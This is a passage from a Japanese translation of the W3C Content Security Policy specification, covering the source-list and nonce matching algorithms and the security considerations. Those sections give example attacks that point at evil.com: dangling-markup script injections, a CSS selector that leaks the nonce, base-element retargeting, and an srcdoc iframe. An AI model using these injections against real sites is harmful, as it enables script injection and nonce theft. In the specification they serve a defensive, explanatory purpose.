リクエスト request、レスポンス response、ディレクティブ directive、 ポリシー policy、オリジン self-origin が与えられた場合:
注: このチェックは request と response を両方引数として必要とする。 もし request の 暗号学的ノンスメタデータ または インテグリティメタデータ が一致すれば、 スクリプトの読み込みが許可されるため、response のURLがソースリストに一致するかのチェックはスキップされる。
-
request の destination が script-like の場合:
-
potentially report hash を response、request、directive、policyで呼び出す。
-
§ 6.7.2.3 ノンスがソースリストに一致するか を request の 暗号学的ノンスメタデータ と このディレクティブの 値 で実行した結果が "
Matches" の場合、"Allowed" を返す。 -
§ 6.7.2.4 インテグリティメタデータがソースリストに一致するか を request の インテグリティメタデータ と このディレクティブの 値 で実行した結果が "
Matches" の場合、"Allowed" を返す。 -
directive の 値 に ソース式 が含まれ、 それが "
'strict-dynamic'" keyword-source とASCIIケース非区別で一致する場合:-
request の パーサーメタデータ が "parser-inserted"の場合、"
Blocked" を返す。それ以外の場合、"
Allowed" を返す。注: "
'strict-dynamic'" の詳細は § 8.2 「'strict-dynamic'」の利用方法で説明されている。
-
-
§ 6.7.2.6 リクエストへのレスポンスがソースリストに一致するか を response、request、directive の 値、self-origin で実行した結果が "
Does Not Match" の場合、"Blocked" を返す。
-
-
"
Allowed" を返す。
6.7.2. URL照合
6.7.2.1. requestはpolicyに違反しているか?
次のものが与えられた場合:リクエスト request、ポリシー
policy、
オリジン self-originが与えられた場合、このアルゴリズムはリクエストがポリシーに違反した場合は
違反したディレクティブを、
そうでなければ "Does Not Violate" を返す。
-
requestのinitiatorが"
prefetch"の場合、 § 6.7.2.2 リソースヒントリクエストがポリシーに違反するかを request、policy、self-originで実行した結果を返す。 -
violatesを"
Does Not Violate"とする。 -
各 directiveについて policy を繰り返す:
-
resultをdirectiveの事前リクエストチェックを request、policy、self-originで実行した結果とする。
-
resultが"
Blocked"の場合、 violatesにdirectiveを設定する。
-
-
violatesを返す。
6.7.2.2. リソースヒントrequestはpolicyに違反しているか?
次のものが与えられた場合:リクエスト request、ポリシー
policy、
オリジン
self-originが与えられた場合、このアルゴリズムはリソースヒントリクエストが全てのポリシーに違反した場合は
デフォルトディレクティブを返し、
そうでなければ "Does Not Violate" を返す。
-
defaultDirective を policy の最初の ディレクティブで、その name が "
default-src"であるものとする。 -
defaultDirective が存在しない場合、"
Does Not Violate" を返す。 -
各 directiveについて policy を繰り返す:
-
directive の name が以下のいずれかでない場合:
-
child-src -
connect-src -
font-src -
frame-src -
img-src -
manifest-src -
media-src -
object-src -
script-src -
script-src-elem -
style-src -
style-src-elem -
worker-src
次のディレクティブへ。
-
-
result を § 6.7.2.5 リクエストがソースリストに一致するか を request、directive の 値、self-originで実行した結果とする。
-
result が "
Allowed" の場合、"Does Not Violate" を返す。
-
-
defaultDirective を返す。
6.7.2.3. nonceはsource listと一致するか?
requestの暗号学的nonceメタデータ nonceとsource list source
listが与えられた場合、このアルゴリズムはnonceがリスト内の1つ以上のソース式と一致すれば"Matches"、そうでなければ"Does Not Match"を返す:
-
保証:source listはnullではない。
-
nonceが空文字列なら"
Does Not Match"を返す。 -
source list内の各 expressionについて:
-
expressionが
nonce-source文法に一致し、nonceがexpressionのbase64-value部分と一致すれば"Matches"を返す。
-
-
"
Does Not Match"を返す。
6.7.2.4. integrity metadataはsource listと一致するか?
与えられた request の integrity metadata
integrity metadata と、source list source list に対して、
このアルゴリズムはintegrity metadataがリスト内の1つ以上のsource expressionに一致する場合
"Matches"、そうでなければ "Does Not Match" を返します:
-
Assert: source list は null でない。
-
integrity expressions を、 source list 内の source expression で、 hash-source 文法に 一致するものの集合とする。
-
もし integrity expressions が空なら "
Does Not Match" を返す。 -
integrity sources を、 integrity metadata を与えて メタデータを解析 した結果とする。 [SRI]
-
もし integrity sources が "
no metadata" または空集合なら "Does Not Match" を返す。 -
各 source を integrity sources より取り出し:
-
integrity expressions が source expression を含まない場合。 その hash-algorithm が ASCII大文字小文字無視で source の hash-algorithm と一致し、 かつ base64-value が 同一 である source の
base64-valueを持つものについて、 "Does Not Match" を返す。
-
-
"
Matches" を返す。
Note: ここでは integrity metadata が source list の hash-source のソースの非空部分集合かどうかだけを検証します。 サブリソース整合性 [SRI] によるブラウザの強制により、レスポンス時に一致しないリソースのブロックが行われることに依存します。
6.7.2.5. requestはsource listと一致するか?
リクエスト request、ソースリスト source list、 オリジン self-origin が与えられた場合、このアルゴリズムは request の § 6.7.2.7 URL が origin 内のソースリストとリダイレクト回数付きで一致するか を、 request の 現在のURL、source list、 self-origin、および request の リダイレクト回数 で実行した結果を返す。
注: これは一般に指令の事前リクエストチェックアルゴリズムで、与えられたrequestが妥当か検証するために使われます。
6.7.2.6. responseはrequestに対してsource listと一致するか?
レスポンス response、リクエスト request、ソースリスト source list、 オリジン self-origin が与えられた場合、このアルゴリズムは response の § 6.7.2.7 URL が origin 内のソースリストとリダイレクト回数付きで一致するか を、 response の URL、source list、self-origin、 request の リダイレクト回数 で実行した結果を返す。
注: これは一般に指令の事後リクエストチェックアルゴリズムで、与えられたresponseが妥当か検証するために使われます。
6.7.2.7. urlはsource listとorigin、redirect countで一致するか?
URL
url、source list
source list、origin origin、数値redirect
countが与えられた場合、このアルゴリズムはURLがsource
list内のいずれかのソース式と一致すれば"Matches"、そうでなければ"Does Not Match"を返す:
-
アサート:source list は null でない。
-
source list が 空 なら、 "
Does Not Match" を返す。 -
source list の サイズ が 1 かつ source list[0] が文字列 "
'none'" と ASCII 大文字小文字無視で一致する場合、 "Does Not Match" を返す。注: 空の source list(つまり値のないディレクティブ:
script-src、script-src host1とは対照的)が'none'を含むsource listと等価であり、 いずれのURLとも一致しません。注:
'none'キーワードは他の source expression が 存在する場合には効果がありません。つまり、リスト「'none'」はいずれのURLとも一致しません。 一方で「'none',https://example.com」というリストはhttps://example.com/に一致します。 -
各 expression を source list より取り出し:
-
§ 6.7.2.8 URLがoriginとリダイレクト回数付きで expression に一致するか? を url, expression, origin, redirect count で実行し、 "
Matches" を返した場合、 "Matches" を返す。
-
-
"
Does Not Match" を返す。
6.7.2.8. urlはexpressionとorigin、redirect countで一致するか?
URL
url、ソース式 expression、オリジン
origin、数字 redirect count が与えられた場合、
このアルゴリズムは url が expression に一致する場合は "Matches" を返し、
一致しない場合は "Does Not Match" を返す。
注: origin は
expression を解決する際のリソースのオリジンである。例えば
"'self'" は、
そのコンテキストに応じて異なる意味になる。
-
もし expression が文字列 "*" なら、次のいずれかの条件を満たす場合 "
Matches" を返す:-
url の scheme が HTTP(S) scheme の場合。
注: このロジックは、non-HTTP(S) scheme のリソースを許可するには、 明示的に指定(例:
default-src * data: custom-scheme-1: custom-scheme-2:) するか、保護対象リソースが同じ scheme でロードされる必要があることを意味します。 -
-
もし expression が
scheme-sourceまたはhost-source文法に一致する場合:-
expression が
scheme-partを持ち、 それがscheme-partmatch で url の scheme と一致しない場合、"Does Not Match" を返す。 -
もし expression が
scheme-source文法に一致する場合、 "Matches" を返す。
-
-
もし expression が
host-source文法に一致する場合:-
もし url の
hostが null ならば、"Does Not Match" を返す。 -
もし expression が
scheme-partを持たず、 かつ origin の scheme がscheme-partmatch で url の scheme と一致しないなら、 "Does Not Match" を返す。Note: 上の
scheme-partと同様に、 scheme を持たないhost-source式は、 非安全な scheme から安全な scheme へのアップグレードを許可する。 -
もし expression の
host-partがhost-partmatch で url のhostと一致しないなら、"Does Not Match" を返す。 -
port-part を、存在するなら expression の
port-part、そうでなければ null とする。 -
もし port-part が
port-partmatch で url と一致しないなら、"Does Not Match" を返す。 -
もし expression が空でない
path-partを含み、 かつ redirect count が 0 ならば、次を行う:-
path を、url に対して URL path serializer を実行した結果とする。
-
もし expression の
path-partがpath-partmatch で path と一致しないなら、 "Does Not Match" を返す。
-
-
"
Matches" を返す。
-
-
もし expression が ASCII 大文字小文字無視で "
'self'" と一致する場合、 次のいずれかの条件を満たせば "Matches" を返す:-
origin が url の origin と同じ
-
origin の
hostが url のhostと同じであり、 origin のportと url のportが同じか、各自の default ports であり、 さらに次のいずれかの条件を満たす場合:
注: 上の
scheme-partロジックと同じく、 "'self'" の一致アルゴリズムは、安全な場合に secure scheme へのアップグレードを許可します。 これらのアップグレードは、特定のschemeのデフォルトポートで実行されるエンドポイントまたは 保護されたリソースのoriginに一致するポートに限定しています。これは アップグレードが成功すると期待できる十分な条件と思われます。 -
-
"
Does Not Match" を返す。
6.7.2.9.
scheme-part一致
ASCII文字列 scheme-part 一致 とは、もう一方の
ASCII文字列 と比較し、最初の文字列を
scheme-part として含む CSPソース式が、
後者を scheme として含むURLにマッチする可能性がある場合を指す。
例えば、"http" は "https" と scheme-part 一致するという。
注: この一致関係は非対称的である。
たとえばソース式 https: や https://example.com/ は
http://example.com/ には一致しない。
常に、明示的に非安全な式から安全な方向へのアップグレードを許可する。
script-src http: は script-src http: https: と、
script-src http://example.com は
script-src http://example.com https://example.com と、
connect-src ws: は connect-src ws: wss: と
同等に扱われる。
より形式的には、2つの ASCII文字列 A と B が
scheme-part 一致 するとき、
次のアルゴリズムが "Matches" を返す場合とする:
-
次のいずれかが成立すれば"
Matches" を返す:-
A が ASCII大文字小文字無視で B と一致する場合。
-
A が ASCII大文字小文字無視で "
http" と一致し、かつ B が ASCII大文字小文字無視で "https" と一致する場合。 -
A が ASCII大文字小文字無視で "
ws" と一致し、かつ B が ASCII大文字小文字無視で "wss"、"http" または "https" と一致する場合。 -
A が ASCII大文字小文字無視で "
wss" と一致し、かつ B が ASCII大文字小文字無視で "https" と一致する場合。
-
-
"
Does Not Match" を返す。
6.7.2.10.
host-part一致
ASCII文字列host-part一致は、最初の値をhost-partとして含むCSPソース式が、後者をhostとして持つURLと一致する可能性がある場合に成立します。例えば、"www.example.com"は"www.example.com"とhost-part一致します。
より形式的には、ASCII文字列patternとhosthostが"host-part一致"であるとは、以下のアルゴリズムが"Matches"を返す場合です:
注:
照合関係は非対称です。つまり、patternがhostと一致しても、hostがpatternと一致するとは限りません。例えば、*.example.comはwww.example.comとhost-part一致しますが、www.example.comは*.example.comとhost-part一致しません。
注: 将来のバージョンでは、リテラルIPv6やIPv4アドレスの許可が検討される可能性がありますが、命名されたホストに比べてIPアドレスのセキュリティ特性が弱いため、可能な限り命名ホストの利用が推奨されます。
-
もし host が ドメイン でなければ、 "
Does Not Match" を返す。 -
もし pattern が "
*" なら、"Matches" を返す。 -
もし pattern が "
*." で始まるなら:-
remaining を pattern の先頭の U+002A (
*) を除き、 ASCII小文字化したものとする。 -
host を ASCII小文字化して remainingで終わるなら、 "
Matches" を返す。 -
"
Does Not Match" を返す。
-
-
もし pattern が host に対して ASCII大文字小文字無視一致でなければ、 "
Does Not Match" を返す。 -
"
Matches" を返す。
6.7.2.11.
port-part一致
ASCII文字列またはnullinputport-part一致は、最初の値をport-partとして含むCSPソース式が、後者のURLのportおよびschemeと一致する可能性がある場合に成立します。例:"80"はhttp://example.comとport-part一致します。
-
保証:inputはnull、"*",または1つ以上のASCII数字。
-
inputが"*"と等しければ"
Matches"を返す。 -
normalizedInputをinputがnullならnull、そうでなければdecimal数値として解釈したものとする。
-
normalizedInputがurlのportと等しければ"
Matches"を返す。 -
urlのportがnullなら:
-
defaultPortをurlのschemeのデフォルトポートとする。
-
normalizedInputがdefaultPortと等しければ"
Matches"を返す。
-
-
"
Does Not Match"を返す。
6.7.2.12.
path-part一致
ASCII文字列path Apath-part一致は、最初の値をpath-partとして含むCSPソース式が、後者をpathとして持つURLと一致する可能性がある場合に成立します。例:"/subdirectory/"は"/subdirectory/file"とpath-part一致します。
注: 照合関係は非対称です。つまり、path Aがpath Bと一致しても、path Bがpath Aと一致するとは限りません。
-
path Aが空文字なら"
Matches"を返す。 -
path Aが1文字でU+002F SOLIDUS文字(
/)であり、path Bが空文字なら"Matches"を返す。 -
path Aの最後の文字がU+002F SOLIDUS文字(
/)ならexact matchをfalse、そうでなければtrueとする。 -
path list A、path list BをそれぞれU+002F SOLIDUS文字(
/)で厳密分割した結果とする。 -
path list Aの要素数がpath list Bより多ければ"
Does Not Match"を返す。 -
exact matchが
trueで、path list Aの要素数がpath list Bの要素数と一致しなければ"Does Not Match"を返す。 -
exact matchが
falseの場合:-
保証:path list Aの最後の要素は空文字である。
-
path list Aの最後の要素を削除する。
-
-
path list Aの各 piece Aについて:
-
"
Matches"を返す。
6.7.3. 要素照合アルゴリズム
6.7.3.1. elementはnonce可能か?
ある Element
element が与えられたとき、このアルゴリズムは
nonce-source式が要素にマッチできる場合
(§ 7.2 ノンス乗っ取りで説明)には
"Nonceable" を返し、
そのような式が適用されるべきでない場合は
"Not Nonceable" を返します。
-
もし element が "
nonce" という属性を持っていなければ、 "Not Nonceable" を返す。 -
もし element が
script要素なら、 属性ごとに element の 属性リスト を調べる:-
もし attribute の名前に "
<script" または "<style" が ASCII大文字小文字無視一致で含まれていれば、 "Not Nonceable" を返す。 -
もし attribute の値に "
<script" または "<style" が ASCII大文字小文字無視一致で含まれていれば、 "Not Nonceable" を返す。
-
-
もし element が 重複属性の パースエラーを トークン化時に発生させていた場合、 "
Not Nonceable" を返す。これを利用する場合、HTMLでこのエラーを記録する フックが必要です。[whatwg/html Issue #3257]
-
"
Nonceable" を返す。
この処理はノンスを盗むような
脆弱なマークアップ攻撃による危険性を軽減する意図があり、
既存要素のノンスを利用してスクリプトを挿入することを防ぐ。
しかし、全属性とその値を確認する必要があり、かなり負荷が高い。
そこで、nonceのある
script
要素のみでこのチェックを最小限に行うが、このアルゴリズムは十分な影響調査ができるまで
"at risk"として扱うべきだろう。[w3c/webappsec-csp Issue
#98]
6.7.3.2. ソースリストはtypeの全インライン挙動を許可するか?
与えられた type に対して、source list
が keyword-source
の式 'unsafe-inline' を含み、かつ以下のアルゴリズムで述べるように
その式が上書きされない場合、
すべてのインライン動作を許可する
と言う。
source list
list と文字列 type が与えられたとき、
次のアルゴリズムは、与えられた type のすべてのインラインコンテンツが許可される場合は
"Allows" を、そうでない場合は "Does Not Allow" を返す。
-
allow all inline を
falseとする。 -
各 expression を list から取り出して:
-
もし expression が
nonce-sourceまたはhash-source文法に一致するなら、 "Does Not Allow" を返す。 -
もし type が "
script"、"script attribute"、または "navigation" であり、かつ expression が keyword-source "'strict-dynamic'" に一致するなら、 "Does Not Allow" を返す。Note:
'strict-dynamic'はスクリプトにのみ適用され、他のリソース種別には適用されない。利用法については § 8.2 Usage of "'strict-dynamic'" でより詳しく説明される。 -
もし expression が ASCII 大文字小文字を区別しない比較で
keyword-source"'unsafe-inline'" に一致するなら、 allow all inline をtrueに設定する。
-
-
もし allow all inline が
trueなら "Allows" を返す。 それ以外の場合は "Does Not Allow" を返す。
'unsafe-inline' http://a.com http://b.com 'unsafe-inline'
ソースリストのうち、
ノンスやハッシュが存在する、あるいは 'unsafe-inline' が存在しないために
すべてのインライン動作を許可しないもの:
'sha512-321cba' 'nonce-abc' http://example.com 'unsafe-inline' 'nonce-abc'
ソースリストのうち、
type が
'script' または 'script attribute' のときは
'strict-dynamic' の存在により
すべてのインライン動作を許可しないが、
それ以外の場合には
すべてのインライン動作を許可するもの:
'unsafe-inline' 'strict-dynamic' http://example.com 'strict-dynamic' 'unsafe-inline'
6.7.3.3. elementはtype、sourceでソースリストと一致するか?
Element
element、source
list
list、文字列type、文字列sourceが与えられた場合、このアルゴリズムは"Matches"または"Does Not Match"を返します。
注:
ドキュメントのエンコーディングに関わらず、sourceはハッシュアルゴリズム適用前にUTF-8へ変換されます。
-
§ 6.7.3.2 ソースリストはtypeの全インライン挙動を許可するか?がlistとtypeで"
Allows"なら"Matches"を返す。 -
typeが"
script"または"style"で、§ 6.7.3.1 要素はnonce可能か? がelementで"Nonceable"を返した場合:-
list内の各expressionについて:
-
expressionが
nonce-source文法に一致し、 elementがnonce属性を持ち、その値がexpressionのbase64-value部分と一致すれば"Matches"を返す。
-
注: nonceはインライン
script・インラインstyleにのみ適用され、どちらの要素の属性やjavascript:ナビゲーションには適用されません。 -
-
unsafe-hashes flagを
falseに設定。 -
list内の各expressionについて:
-
もし expression が ASCII 大文字小文字を区別しない比較で
keyword-source"'unsafe-hashes'" と一致する場合、 unsafe-hashes flag をtrueに設定し、このループを抜ける。
-
-
typeが"
script"または"style"、またはunsafe-hashes flagがtrueの場合:-
sourceをsourceへJavaScript文字列変換を適用し、さらにUTF-8エンコードした結果に設定。
-
list内の各expressionについて:
-
expression が "
'strict-dynamic'" keyword-source の場合:-
type が "
script" であり、 element が parser-inserted でない場合、"Matches" を返す。
-
-
expressionが
hash-source文法に一致する場合:-
algorithm を null とする。
-
もし expression の
hash-algorithm部分が "sha256" と ASCII 大文字小文字を区別しない比較で一致するなら、 algorithm を SHA-256 とする。 -
もし expression の
hash-algorithm部分が "sha384" と ASCII 大文字小文字を区別しない比較で一致するなら、 algorithm を SHA-384 とする。 -
もし expression の
hash-algorithm部分が "sha512" と ASCII 大文字小文字を区別しない比較で一致するなら、 algorithm を SHA-512 とする。 -
もし algorithm が null でなければ:
-
actual を、algorithm を source に適用した結果を base64 エンコードした結果とする。
-
expected を、expression の
base64-value部分から、 すべての '-' 文字を '+' に、 すべての '_' 文字を '/' に 置き換えたものとする。Note: この置換により、 base64url エンコーディングで表現されたハッシュを、 マッチングのために base64 エンコーディングへ正規化する。
-
もし actual が 同一 比較で expected と一致するなら、 "
Matches" を返す。
-
-
-
注: ハッシュはインライン
script・インラインstyleに適用されます。'unsafe-hashes'ソース式があれば、イベントハンドラ・style属性・javascript:ナビゲーションにも適用されます。 -
-
"
Does Not Match"を返す。
6.8. 指令アルゴリズム
6.8.1. request用有効指令取得
各fetch指令は、requestの特定のdestinationを制御します。 request requestが与えられた場合、次のアルゴリズムはnullまたはリクエストの有効指令名を返します:
-
requestのinitiatorが"
prefetch"または"prerender"なら、default-srcを返す。 -
requestのdestinationにより以下の手順を実行:
- 空文字列
-
-
connect-srcを返す。
-
- "
manifest" -
-
manifest-srcを返す。
-
- "
object"- "
embed" - "
-
-
object-srcを返す。
-
- "
frame"- "
iframe" - "
-
-
frame-srcを返す。
-
- "
audio"- "
track"- "
video" - "
-
-
media-srcを返す。
-
- "
font" -
-
font-srcを返す。
-
- "
image" -
-
img-srcを返す。
-
- "
style" -
-
style-src-elemを返す。
-
- "
script"- "
xslt"- "
audioworklet"- "
paintworklet" - "
-
-
script-src-elemを返す。
-
- "
serviceworker"- "
sharedworker"- "
worker" - "
-
-
worker-srcを返す。
-
- "
json"- "
webidentity" - "
-
-
connect-srcを返す。
-
- "
report" -
-
nullを返す。
-
-
connect-srcを返す。
注:
アルゴリズムはconnect-srcをデフォルトフォールバックとして返します。これは新しいfetch
destinationが追加され、他カテゴリに明示的に該当しない場合を想定しています。
6.8.2. インラインチェック用有効指令取得
文字列typeが与えられた場合、このアルゴリズムは有効指令名を返します。
注: 有効指令はリクエストのみ定義されますが、このアルゴリズムではインラインチェックに関連する最も適切な指令として扱います。
-
typeで分岐:
- "
script"- "
navigation" - "
-
-
script-src-elemを返す。
-
- "
script attribute" -
-
script-src-attrを返す。
-
- "
style" -
-
style-src-elemを返す。
-
- "
style attribute" -
-
style-src-attrを返す。
-
- "
-
nullを返す。
6.8.3. fetch指令フォールバックリスト取得
特定の指令のフォールバックordered setを返します。結果は関連性が高い順に並び、有効指令自体も含まれます。
文字列directive nameが与えられた場合:
-
directive nameで分岐:
- "
script-src-elem" -
-
<< "script-src-elem", "script-src", "default-src" >>を返す。
-
- "
script-src-attr" -
-
<< "script-src-attr", "script-src", "default-src" >>を返す。
-
- "
style-src-elem" -
-
<< "style-src-elem", "style-src", "default-src" >>を返す。
-
- "
style-src-attr" -
-
<< "style-src-attr", "style-src", "default-src" >>を返す。
-
- "
worker-src" -
-
<< "worker-src", "child-src", "script-src", "default-src" >>を返す。
-
- "
connect-src" -
-
<< "connect-src", "default-src" >>を返す。
-
- "
manifest-src" -
-
<< "manifest-src", "default-src" >>を返す。
-
- "
object-src" -
-
<< "object-src", "default-src" >>を返す。
-
- "
frame-src" -
-
<< "frame-src", "child-src", "default-src" >>を返す。
-
- "
media-src" -
-
<< "media-src", "default-src" >>を返す。
-
- "
font-src" -
-
<< "font-src", "default-src" >>を返す。
-
- "
img-src" -
-
<< "img-src", "default-src" >>を返す。
-
- "
-
<< >>を返す。
6.8.4. fetch指令を実行すべきか
このアルゴリズムはfetch指令が実行されるべきか、より適した別指令に委譲すべきかを決定します。
例えばeffective directive
nameがworker-src(ワーカーリクエストのチェック)なら、worker-srcやscript-src指令が存在する場合はdefault-src指令は実行すべきではありません。
文字列effective directive name、文字列directive name、policy policyが与えられた場合:
-
directive fallback listを§ 6.8.3 fetch指令フォールバックリスト取得でeffective directive nameに対して実行した結果とする。
-
directive fallback listの各fallback directiveについて:
-
directive nameがfallback directiveと一致すれば"
Yes"を返す。 -
policyがfallback directive名の指令を含んでいれば"
No"を返す。
-
-
"
No"を返す。
7. セキュリティとプライバシーに関する考慮事項
7.1. Nonceの再利用
Nonceは、その指令内の他の制限を上書きします。そのため、推測困難な値であることが非常に重要です。そうでなければ、リソースのポリシーを攻撃者が簡単に迂回できてしまいます。
サーバーがnonce-source式をポリシーの一部として送信する場合、サーバーはポリシー送信ごとに一意な値を生成しなければなりません(MUST)。生成値はエンコード前で少なくとも128ビットであることが推奨され(SHOULD)、暗号学的に安全な乱数生成器で生成されるべきです(SHOULD)。これにより値が攻撃者に予測されにくくなります。
注: インラインスクリプトやスタイルを許可するためにnonceを使うのは、nonceを使わないよりも安全性が低いです。nonceは指令内の制限を上書きするため、攻撃者がnonceにアクセスできれば好きなスクリプトをいつでも実行できてしまいます。ただし、古いコードにCSPを重ねる場合、nonceは'unsafe-inline'より大幅な安全性向上をもたらします。'unsafe-inline'の使用を検討する際は、nonce(またはハッシュ)の利用を推奨します。
7.2. Nonceハイジャック
7.2.1. ダングリングマークアップ攻撃
[FILEDESCRIPTOR-2015]で議論されているようなダングリングマークアップ攻撃は、ページの正当なnonceをインジェクションに流用するために使われます。たとえば、次のようなインジェクションポイントがscript要素の前にある場合:
< p > Hello, [INJECTION POINT]</ p > < script nonce = abc src = /good.js ></ script >
攻撃者が"<script src='https://evil.com/evil.js' "をインジェクトすると、ブラウザは次のように受信します:
< p > Hello,< script src = 'https://evil.com/evil.js' </p > < script nonce= abc src= /good.js></ script >
その結果、script要素は、悪意あるsrc属性、</p>属性、"<script"属性、nonce属性、重複したsrc属性(パーサにより破棄)を持つことになります。
§ 6.7.3.1
要素はnonce可能か?アルゴリズムは、この攻撃を軽減するためにscriptやstyle要素の属性名・値に"<script"や"<style"が含まれていないかを調べます。
ユーザーエージェントはこのアルゴリズム実装時に、重複属性を無視しないよう特に注意しなければなりません。要素に重複属性があれば、最初以外は通常無視されますが、§ 6.7.3.1 要素はnonce可能か?アルゴリズムでは全て(重複も含め)チェックする必要があります。
現状HTML仕様のパースアルゴリズムは、この情報を§ 6.7.3.1 要素はnonce可能か?アルゴリズム実行前に削除してしまうため、実際に重複属性を検出できません。[whatwg/html Issue #3257]
次の例のページ:
Hello, [INJECTION POINT]< script nonce = abc src = /good.js ></ script >
次のインジェクト文字列は、重複属性を使って§ 6.7.3.1 要素はnonce可能か?チェックを回避しようとします:
Hello,< script src = 'https://evil.com/evil.js' x = "" x = <script nonce = "abcd" src = /good.js ></ script >
7.2.2. content属性経由のNonce流出
CSPへの攻撃の一部は、様々な手段でnonceデータをcontent属性から抜き出す能力に依存します。CSSセレクタは最良の例です:prefix/postfixテキスト照合セレクタを巧妙に使うことで、値を攻撃者のサーバーに送信し再利用できます。例:
script[ nonce=a] { background : url ( "https://evil.com/nonce?a" );}
nonceセクションでは、これらの攻撃を軽減するため、nonceを要素のcontent属性から隠し、内部スロットに移動する方法について説明しています。これにより、nonce値はスクリプトには公開されますが、他の非スクリプトチャネルには公開されません。
7.3. Nonceリターゲティング
Nonceはhost-source式を迂回し、任意のオリジンからコードロードを可能にします。これは多くの場合問題ありませんが、攻撃者がbase要素を挿入できる場合、安全なページも相対URL解決時に乗っ取られます。つまり、https://example.com/上で次のコードはhttps://example.com/good.jsをロードします:
< script nonce = abc src = /good.js ></ script >
しかし、次のようにするとhttps://evil.com/good.jsをロードします:
< base href = "https://evil.com" > < script nonce = abc src = /good.js ></ script >
このリスクを軽減するには、全ページで明示的なbase要素を設定するか、攻撃者がbase要素を挿入できないよう、ページポリシーにbase-uri指令(例:base-uri 'none')を定義しましょう。
7.4. CSSパース
style-src指令は、保護対象リソースがスタイルをロードできる場所を制限します。しかし、ユーザーエージェントが緩いCSSパースアルゴリズムを使っている場合、攻撃者が信頼できそうなオリジンで悪意ある「スタイルシート」を受理させる可能性があります。
これらの攻撃はChris Evansが2009年に記述したCSSクロスオリジンデータ漏洩攻撃[CSS-ABUSE]に類似しています。ユーザーエージェントは、スタイルシートのMIMEタイプが不正な場合により厳格なCSSパースルールを適用することで、両方の攻撃に同じメカニズムで防御すべきです(SHOULD)。
7.5. 違反レポート
本書の違反レポート機構は、悪意のあるウェブサイトが違反レポートを使って他サーバーの挙動を探るリスクを軽減するよう設計されています。例えば、悪意あるサイトが画像ソースとしてhttps://example.comを許可している場合、そのサイトがhttps://example.com/loginを画像として読み込むと、example.comサーバーがidentity
provider(例:identityprovider.example.net)へリダイレクトした場合CSPがリクエストをブロックします。違反レポートにブロックされたURL全体が含まれていた場合、リダイレクト先のURLに含まれるセッションIDやユーザーIDなどの機微情報が漏れる可能性があります。このため、ユーザーエージェントは元のリクエストURLのみ(リダイレクト先ではなく)をレポートに含めます。
また、違反レポートは攻撃者が制御可能なデータとみなすべきです。ダッシュボード等で違反レポートを収集・表示する場合は、内容を適切にエスケープしてレンダリングしてください(CSPの利用も推奨)。特に違反レポートの"script-sample"プロパティやsampleプロパティ、SecurityPolicyViolationEventは完全に攻撃者制御文字列です。
7.6. パスとリダイレクト
Egor Homakovの
Using
Content-Security-Policy for Evil
で議論されているように、クロスオリジンでパス情報が漏れるのを防ぐため、照合アルゴリズムはリソースがリダイレクトの結果である場合、ソース式のパス部分を無視します。例えば、ポリシーimg-src example.com example.org/pathが有効なページの場合:
-
https://example.org/not-pathを直接ロード→ポリシーに一致せず失敗 -
https://example.com/redirectorを直接ロード→example.comに一致し成功 -
https://example.com/redirectorがhttps://example.org/not-pathへリダイレクト→初期URLがexample.comに一致し、リダイレクト先もパス部分無視でexample.org/pathに一致するので成功
この制限により、リダイレクトが絡む場合ポリシーの粒度は下がりますが、この種の情報漏洩を防ぐための必要な妥協です。
より詳細な議論は "Remove paths from CSP?" のpublic-webappsec@w3.orgスレッド参照。
7.7. 安全なアップグレード
Yan Zhuの
Snifflyのような履歴スキャン攻撃の一種を防ぐため、CSPはscript-src http://example.comのようなポリシーでページが不安全URLに固定されることを許可しません。§ 6.7.2.9 scheme-part一致で説明されている通り、ソース式のscheme部分は常に安全なバリアントへのアップグレードを許容します。
7.8. CSPの継承によるバイパス防止
ローカルスキームからロードされるドキュメントは、元ドキュメントのポリシーのコピーを継承します。これは、ページがiframe埋め込みや新ウィンドウで完全に支配可能なコンテンツ(srcdocドキュメント、blob:やdata:URL、about:blankやdocument.write()等)を介してポリシーをバイパスできないようにするためです。
unsafe-inlineなしでも、srcdocなiframeを埋め込むだけでインラインスクリプトを実行できてしまいます。
< iframe srcdoc = "<script>alert(1);</script>" ></ iframe >
ここで新しくCSPリストのコピーを作成するため、新しいDocumentのCSPリストは作成時点のポリシーのスナップショットとなります。新しいDocumentのCSPリストを変更しても、元のDocumentのCSPリストには影響しません(逆も同様)。
8. 著作に関する考慮事項
8.1. 複数ポリシーの効果
このセクションは規範的ではありません。
上記セクションでは、複数ポリシーが存在する場合、それぞれがタイプに応じて強制または報告されなければならないと述べています。実際の動作例を挙げることで、これが実際どう機能すべきか明確にします。たとえば、XMLHttpRequestの挙動は、サイトが下記のようなHTTPヘッダーを送信した場合、分かりにくいかもしれません:
Content-Security-Policy: default-src 'self' http://example.com http://example.net; connect-src 'none'; Content-Security-Policy: connect-src http://example.com/; script-src http://example.com/
example.comへの接続は許可されるか?短い答えは「許可されない」です。両方のポリシーを強制する場合、接続は両方のポリシーを満たさなければなりません。2つ目のポリシーは接続を許可しますが、1つ目のポリシーがconnect-src 'none'を含むため、強制されて接続はブロックされます。つまり、強制するポリシーが増えるほど、保護されるリソースの能力はさらに制限されます。
さらに説明すると、このページのscriptタグを考えてみます。1つ目のポリシーはdefault-src指令で'self'、http://example.com、http://example.netに制限します。2つ目はhttp://example.com/のみ許可します。scriptは両方のポリシーを満たした場合のみロードされ、この場合両方が許可するオリジンはhttp://example.comだけです。
8.2.
"'strict-dynamic'"の利用
このセクションは規範的ではありません。
ホストやパスベースのポリシーは、特にCDNのような広範なオリジンでは正しく運用するのが難しいです。 Cure53のH5SC Minichallenge 3: "Sh*t, it’s CSP!" [H5SC3] の ソリューションは、このようなポリシーが有効にしてしまうバイパスの良い例です。CSPは特定のリソースを厳密に列挙することでそれらのバイパスを緩和できますが、このリストは壊れやすく、扱いづらく、実装や保守も難しくなります。
"'strict-dynamic'" ソース式は、
信頼できるスクリプトを直接ロードしているという高い自信を持つ一方で、事前に合理的なリソースリストを用意する自信が低い既存のアプリケーションに対し、Content Security
Policyの導入を容易にすることを目指しています。
これが script-src または
default-src
ディレクティブに含まれる場合、主に2つの効果があります:
-
host-source と scheme-source 式、加えて "
'unsafe-inline'" および "'self'keyword-source は スクリプトをロードするときに無視されます。hash-source および nonce-source 式は 尊重されます。
-
非 "parser-inserted"
script要素によるスクリプトリクエストは許可されます。
最初の変更により、ユーザーエージェントの判別なしに、"'strict-dynamic'" を後方互換的に導入できます:
ポリシー 'unsafe-inline' https: 'nonce-abcdefg' 'strict-dynamic' は、CSP1対応のブラウザでは
'unsafe-inline' https: のように挙動し、
